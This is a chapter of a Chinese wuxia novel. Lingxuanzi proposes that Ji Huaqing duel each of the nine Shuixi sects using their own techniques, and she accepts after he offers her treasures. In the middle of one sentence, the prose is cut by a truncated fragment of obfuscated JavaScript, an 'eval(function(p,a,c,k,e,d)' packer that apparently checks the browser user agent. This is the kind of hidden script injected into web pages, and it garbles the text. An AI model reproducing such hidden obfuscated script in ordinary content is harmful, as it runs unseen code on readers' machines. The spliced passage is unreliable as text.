姬花青分开郎九九、叶锦栊、灵璇子、穹隆老人的手法也很特别,她是在极短的时间内将一刀三剑上附着的招式全部拆解了。整个过程灵璇子看得真切,姬花青先出了两刀分别拆了他和叶锦栊的剑招,丹阳派和殊华派的武功招式差异甚大,要连续拆解两个门派的剑招便意味着拆招之人要接连使出风格迥异的两式刀法,姬花青不仅做到了这点,并且这两下拆招一气呵成浑然一体,衔接得十分轻巧自然。而在连拆了他和叶锦栊的两招后,姬花青紧接着又以一刀破拆了郎九九的剑招和穹隆老人的刀招,她的刀几乎同时触上郎九九的剑和穹隆老人的刀,却是以刀尖拆解凌虚派的剑法,靠近刀柄的的那截刀身拆解穹隆老人的刀法。 灵璇子也看出,姬花青的刀是先与郎九九的剑相击,随后才碰上穹隆老人的刀,只是前后两个动作间隔极短,两次金属碰撞声交至一处,所以方才姬花青虽是连拆四人之招,其他人却只听到了三声刃响。 因此,严格来说,姬花青并不是只用一招便同时拆解了郎九九的凌虚剑法和穹隆老人的雪山刀法,灵璇子想,就算岑微明和裴秉延再世大约也难做到这点。姬花青仍是用了两招,只不过第一招的前半招完全是为了对付凌虚剑法,第二招的后半招又完全是拆解雪山刀法的手法,但第一招的后半招和第二招的前半招重叠在了一起,因此整个过程便犹如一招。其中包含的慧心巧思叫灵璇子产生了一种措手不及的惊喜,他心中先是升腾起如闪电划破长空的喜悦,随后这欣悦又如潮汐般慢慢延展荡漾开来,一下一下地拍打着包裹住他骨骼内脏的皮肉。 但姬花青的回答止住了灵璇子涌动的心潮,只听姬花青道:“在下一介无名草莽,如何有资格与诸位同台较技?” 灵璇子微笑道:“姑娘为何要推辞?跟我们比武,又不会让你有什么损失。”他说到这,转头看向四周,道:“诸位,先前贫道提出九派间相互比武,只因九是单数,不好两两匹配,又因为有些朋友所在的门派存在专门克制另一门派的武功,所以究竟是由哪两个门派相互比武,稍微安排得不周到就有不公之嫌,这才产生争执。而现下贫道想出一个解决的好办法,那就是每派派出一人与这位姑娘比武,最终根据与这位姑娘比武的胜负情况来判定哪方赢,哪方输,各位觉得如何?” 一名门派领头人道:“我没看出比先前公平多少,说不定她的武功也是专门克制我们之中某些门派的,这样的话,那些被克制的门派赢面又有多大?” 像这样至少表面要维持友好的比武跟江湖上你死我活的厮杀不同。前者需要考虑的东西很多,因为千百年来各流派武功的演变是有一定互相影响的渊源的。或许在某个时间,某个门派跟另一个门派结了仇,于是该门派处心积虑创出一套专门克制仇家门派招式的武功,随着时间的推移,当初有深仇大恨的人都死绝了,两个门派间的仇恨或许早已消弭,但武功作为一个武林门派的立派之本传承了下来,其中当然也就包括那些“特别有针对性”的武功。 这种专门针对,或者说克制某个门派武功的武功,让姬花青惧恨非常的诛仇指就是一个例子。只不过它不是在招式上克制无涯派,而是专门针对无涯派内功,后者远比前者毒辣。 矛盾和怨仇可能是门派之间的,也可能是个人与个人之间的。假使某个人身在甲派,与乙派的人结了仇,于是这个人苦心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灵璇子看向方才质疑姬花青参与进来后整个比武公平性的那名门派领头人,道:“晁先生无须担心,就让这位姑娘以我们九派自己的武功分别与各派比武怎样?”说完抿嘴而笑,那笑容越发浓郁,越发神性,越发像是道观大殿中的三清塑像。 九派各领头人面面相觑,各门派内弟子也相互交换眼色,一时间大厅内“嗯?”“什么?”“他在说什么?”的质疑声此起彼伏。 灵璇子道:“各位没有听错,这位姑娘能使我们九派的武功,让她以我们自己门派的武功与我们自己比武,比我们之间相互比武岂不是公平多了?”他的声音洪亮而沉稳,就像他们道观里的撞钟声一般,轻易就将大厅内骚动的嗡嗡声压了下去。 凌虚派闻人冲道:“灵璇道长与这位姑娘素不相识,今天才第一次见面,如何知道这位姑娘会我们水西九派武功?” 又一名门派领头人道:“是啊。况且习武之人一生要精通一派武功已是不易,那姑娘看着又这般年轻,说她会九派武功,此言怕是不尽不实。就算她真会九派武功,每派的武功只会一点皮毛,三两招就被打败,这样的比武又有什么意义?” 灵璇子笑着道:“各位,各位,还请耐心听贫道讲完。”他收了剑,将背上的拂尘取下,拂尘象牙白的长须在空中舞了两转后,道:“方才那位姑娘将贫道以及其他三位分开,所用的手段着实不同凡响。她正是用丹阳、殊华、雪山、凌虚四派的武功分别拆解了我们四人的招式。”灵璇子见众人脸现迟疑惑然之色,右腕一倒,拂尘长须尽数搭在左臂上,笑吟吟道:“各位若不信,可以问问叶掌门、穹隆掌门以及郎先生三位。 一旁的叶锦栊、郎九九、穹隆老人都未说话。事实正如灵璇子所说,虽然只是一瞬间发生的事,但他们也都看清,姬花青拆解他们招式所用的,的确都分别是他们自己门派的武功。见厅内众人望向自己,叶锦栊、郎九九以及穹隆老人点了点头,表示灵璇子之言并非捏造。 但这三人心中又有疑云暗步,姬花青所使的招式,虽然乍看上去的的确确就是他们门派的招式,但那招他们又从来没见过。 简直就像这世上还存在他们所不知道、从未学过的本门武功,而这些武功又被姬花青学去了一般。 叶锦栊和穹隆老人都想,难道本门内还有什么武功连他们这掌门都不知道?做掌门的都不知道,姬花青又是如何学去的? 之前被灵璇子称作晁先生的那名门派领头人此时又开口道:“这只能证明她会你们四个门派的武功,至于其他门派的武功会不会使还是未知,灵璇道长这就让她来跟九派比武,是否草率了点?” 姬花青心想,这下是不是要有人问我会不会其他五个门派的武功了?要是问我,我就说不会。 不想灵璇子直接道:“贫道可以保证,这位姑娘会使在场每一派的武功。” 其他人又是面面相觑,这回有更多道目光射向了姬花青。 姬花青实在忍不住了,道:“灵璇道长,话可不好说得这么满哪,在座各派哪一个不是武功高深莫测,在下不过一无知后辈,如何担得起道长这般说?”姬花青一边说话,一边在心里捶胸顿足。 啊啊啊——刚才拆招就拆招,用什么泼火雨功?主要是一下有四个门派的绝妙招式呈列在自己面前,对姬花青而言,这个场面实在是冶艳绝伦,她摒弃已久的嗜好又复活了,在惯性驱使下就用出了她专门用来吞噬其他武功的泼火雨功好去细细拥抱这些招式的美丽……停!现在不是找借口的时候,姬花青目光从一双看着自己的眼睛飘向另一双。 这下倒好,引起人注意了。 灵璇子呵呵笑道:“姑娘,你骗得了别人,但骗不了贫道。这样讲吧,你倒也不是真的会使我们九派的刀招剑招,你之所以能凭空使出我们几个门派的招式,是因为你会用一种特殊的武功。” 姬花青眼皮一跳。 灵璇子道:“这种特殊的武功,本身并不能伤人,然而用它加持在别的武功之上,便可达到令人意想不到的效果——能使出自己对手的武功。而使出来的武功招式虽与原本的武功不尽相同,意蕴却是一致的,所以会让对手产生你使的是他的武功,但招式他又并不认识的奇异之感。” 叶锦栊、穹隆老人、郎九九听了灵璇子这番解释,心中的疑云这才散去。 雨馀凉听到这,心想原来如此,怪不得之前在灵果寺时,那正觉和尚说姬花青将他几套棍法还未使出的招式也使了出来,遂怀疑姬花青偷学了他们的武功。雨馀凉虽然相信姬花青没有偷学别人武功,心中却也感到疑惑,到得今日方知晓谜题的答案。 姬花青竟身怀这样的奇功,这神奇的功法,也属于无涯派吗? 姬花青心道:“好个灵璇子!这个武痴倒还真是名副其实。虽然他对泼火雨功的推测并不全然正确,不过能察觉到泼火雨功的存在,倒比我想象的要深不可测。” 灵璇子一偏头,“这种神奇的武功是什么?我竟从未听说过,也没在典籍上看过。不过这不重要了,姑娘既有此等玄妙之技,”他道袍宽大的袍袖和叠一处,拂尘白须绕过臂弯溪流般淌下,灵璇子对姬花青微一躬身,“贫道诚心邀请姑娘与我们水西九派比武一番。” 见灵璇子对姬花青施这一礼,丹阳派的弟子骚动起来,“师父!”“师父何必自降身份!”的语声盈于在场其他人耳畔,姬花青也是一震。 灵璇子是有素有颇高威望的江湖前辈,更何况他还长得那么像三清殿里的几位天尊,姬花青怕自己受了他这一躬折寿。 想到这,姬花青又突然意识到,折寿? 似乎也没关系。 姬花青想要上前扶一扶灵璇子,把他的身子给抽正了,但又觉得那个画面实在太过诡异,最终还是呆立在原地。 这个武是非比不可吗?姬花青再一次见识到了“武痴”这两个字的分量,为了打一场他们认为很不错的架做出很多匪夷所思的行为,武林耆宿可以给来路不明的江湖野人小辈鞠躬。姬花青又想到了葛陟谯,后者也是缠着姬花青跟他打,不过灵璇子比起葛陟谯看上去要讲道理一些。 灵璇子方才娓娓向九派众人解释姬花青的武功,其他人多少都有点心动了。 如此看来,这样做确实比他们九派间相互比武来得公平。 又有一人道:“不妥,不妥,若她对我们之中一些门派的武功擅长、掌握得熟练,对另一些门派的武功生疏,岂不是对后者有优势?难道这就公平了?” 姬花青心道:“说得好!” 灵璇子道:“跟熟练生疏无关,那种神奇的功法对每种武功的加持效果都是一样的。” 那人道:“你用什么证明?” 一名门派领头人道:“行了,争论来争论去比武何时能开始?这已经是目前最公平的方式了。” 另一人道:“不错,要是谁连自己门派的武功都对付不来,那就是学艺不精,还有什么好说?” 其他人都不再说话。姬花青心想,不是,你们怎么这就自说自话地达成一致了? 再来个谁反对一下啊! 姬花青不想卷入额外的纷争,无论灵璇子怎么礼貌地邀请都不想,她正准备将“我拒绝”三个字说出口,又有一名门派领头人站了出来。 那名门派领头人身材不高,勾腰驼背,看上去四五十岁的模样,正是天影派掌门人文芝。 姬花青看到他颇有气势准备发言的样子,以为是站出来反对灵璇子的,连忙将到嘴边的话刹住,把台子让给他,并在心里呼喊,兄弟,用点力啊! 文芝上前来,却不是看向灵璇子,而是看着姬花青说话。只见他大拇指一指背上的刀,用尖嗄的嗓音道:“我从出师那天就告诉自己,要在活着的时候尽量多地会会使单刀的高手。所以,你,我今天必跟你打一场。” 姬花青雀跃的心一下跌至谷底,她以为这位文掌门是出来反对的,没想到是来举双手表示赞成的。 姬花青咳了一声,道:“我的武器不是单刀。” 文芝道:“小姑娘真会睁着眼睛蒙人,你明明手上握着一把长刀,不是两把、三把,偏偏是一把,还说你不是使单刀?” 姬花青道:“我是刀剑同使。”她指了指自己背上的长剑,“就别把我算成使单刀的了,如何?” 文芝道:“我不信,除非你能以剑使剑法胜得在场使剑的朋友,否则今日休想走出这个门!” 又是一个武痴! 而水西九派中那些以剑为武器的门派听姬花青说她可以使剑,最后的疑虑也放下了。若姬花青全程用刀与九派斗武,以剑为武器的门派多少觉得对他们有些不公平,尽管姬花青可以以刀使出带有他们门派剑意的刀法,但终究不是原汤化原食,谁知道剑法衍化成刀法后是不是威力增加了呢? 姬花青为了摆脱文芝情急之下说出自己还会使剑,不想起了反效果。 然而姬花青内心仍记挂金玉霜,想到金玉霜,霎时间不再有与水西九派诸人蛮缠的心情。她平视前方,正色道:“我不比武。” 灵璇子见姬花青怎么都不肯答应,心内焦躁。他提出让姬花青与加入进九派比武,其实只有一小半因素是为了此次来水南要做的事能够顺利进行下去,大半则是为了自己的私心。丹阳派的一百四十四套基本剑法以及这些剑法衍生延展出来的数千套剑法他都早已烂熟于心,正当他于武学一道停滞不前陷入困顿惶惑之境时,姬花青出现在了他的视野。 姬花青能使出他前所未见的、绝对创新的剑招,而这些剑招又不失丹阳剑意。灵璇子惊喜万分,说什么也要和姬花青打上一场,引她使出更多他穷极想象也想象不出的高明招式。 灵璇子脑内飞速思考,突然道:“姑娘,贫道这里有不少价值不菲的宝物,姑娘若答应了比武,贫道这些宝物就任由姑娘挑选如何?”他一心要在姬花青这里见到更多丹阳派的新招妙招,开价越发无所顾忌。 姬花青先开始没反应过来,待到灵璇子又说了一遍后,她内心如遭重锤,逐渐鼓噪起来,但面上仍是不动声色。姬花青道:“宝物?我可不信,道长千里迢迢从水西而来,干什么要带着劳什子宝物?” 灵璇子道:“实不相瞒,这些宝物都是贫道在水南的朋友相赠,姑娘若不嫌弃,比武过后尽管挑。”灵璇子当众,尤其是当着水南李愈等人说出这话其实是很不合适的,水南人送水西门派礼物,不已经明示了在水南有人里通外敌? 但灵璇子心绪激动,再加上此人一心向武,向来不在意这些,便毫无顾忌地说了出来。 而他这句话说得虽然不合适,却也无所谓,李氏的水南行将覆灭,对所有知晓内情的人来说,都已是板上钉钉的事。 听灵璇子这么说,姬花青心内几乎已经确认了灵璇子指的宝物就是白玄逸通过那群水匪送他的礼物,其中就包括金玉霜。 姬花青表现出为难的样子,道:“任我挑选,是指所有宝物中任我挑选么?” 灵璇子点头道:“所有宝物。” 姬花青又道:“胜负没有要求吧?” 灵璇子道:“只要姑娘愿意比武九场,无论几胜几负,贫道都将在比武后将宝物奉送姑娘。” 姬花青看向灵璇子,道:“道长可不要说话不算话。”她又看向四周,“灵璇道长的话在座各位都听到了,就烦请替在下做个见证。” 灵璇子不满道:“你当贫道是什么人?”他虽对姬花青怀疑自己感到些微不豫,但这不豫却随即被狂喜盖过,因为姬花青既已这么说,那么就代表…… 这件事多半成了。 果然,姬花青紧接着便道:“一言为定!”